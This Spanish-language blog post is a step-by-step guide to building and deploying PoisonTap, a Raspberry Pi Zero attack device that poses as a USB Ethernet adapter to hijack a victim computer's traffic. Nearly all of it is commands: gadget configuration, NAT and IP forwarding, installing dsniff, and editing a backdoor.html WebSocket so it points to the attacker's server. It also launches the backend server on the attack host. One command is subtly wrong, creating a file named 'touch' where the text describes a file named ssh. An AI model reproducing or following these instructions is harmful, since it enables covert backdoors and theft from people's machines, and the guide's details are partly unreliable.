PoisonTap es un gran proyecto del hacker Samy Kamkar y uno de los primeros que realicé. La documentación no es tan clara como yo hubiese querido, así que hice este pequeño resumen de instrucciones:
Requisitos:
- Raspberry pi zero
- Ubuntu Linux 17/18 instalado
- Cable mini USB
- Memoria Micro-SD
Instalar raspbian en sd
Instalar y ejecutar etcher
cd Downloads
chmod a+x Etcher-linux-x64.AppImage
./Etcher-linux-x64.AppImage
Configurar la raspberry para que funcione como adaptador ethernet.
Vamos a la ruta donde está montada la partición boot de la memoria sd (asumamos que es /media/user/boot, donde user es tu usuario de Ubuntu)
Editar /media/user/boot/config.txt y agregar dtoverlay=dwc2
echo "dtoverlay=dwc2" >> /media/user/boot/config.txt
Crear archivo vacío de nombre ssh (por defecto está deshabilitado el acceso sshs)
touch /media/user/boot/touch
Editar /media/user/boot/cmdline.txt. Insertar el siguiente texto "modules-load=dwc2,g_ether" después de rootwait. Preservando los espacios de separación.
sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /media/user/boot/cmdline.txt
Conectarse al dispositivo mediante ssh
Con las opciones por defecto, el dispositivo no se conecta (como adaptador ethernet)
Para conseguirlo, hay que realizar los siguientes pasos:
1. Ir a configuración de red
2. ipv6 debe estar deshabilitado.
3. ipv4 debe estar como solo local (Local Link Only)
4. Apagar y prender el adaptador de red desde la configuración.
Una vez que diga "conectado" debes ejecutar:
ssh pi@raspberrypi.local (directamente con la ip no funciona en la mayoría de los casos)
La contraseña por defecto es raspberry.
IP FORWARDING IN THE HOST
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE (eth0 interfase con internet en host)
IP_PC=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1')
echo $IP_PC | sudo tee /etc/resolv.conf
sudo route add default gw $IP_PC
Configurar el DNS
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf
Configurar Raspberry Pi
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo -e "dwc2\ng_ether" >> /etc/modules (verificar) sudo sed --in-place "/exit 0/d" /etc/rc.local echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local mkdir /home/pi/poisontap chown -R pi /home/pi/poisontap apt-get update && apt-get upgrade apt-get -y install isc-dhcp-server dsniff screen nodejs
Luego,
nano poisontap/backdoor.html (cambiar la url, var socket = new WebSocket('ws://:1337');)
Luego copiar el archivo de configuración de DCHP.
sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf
SERVER
Ejecutar en el servidor host del ataque.
sudo apt-get install git npm
sudo npm install websocket
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -
sudo apt-get install nodejs
git clone https://github.com/samyk/poisontap
cd poisontap
sudo node backend_server.js &
Fuentes:
No hay comentarios.:
Publicar un comentario
¡Comenta!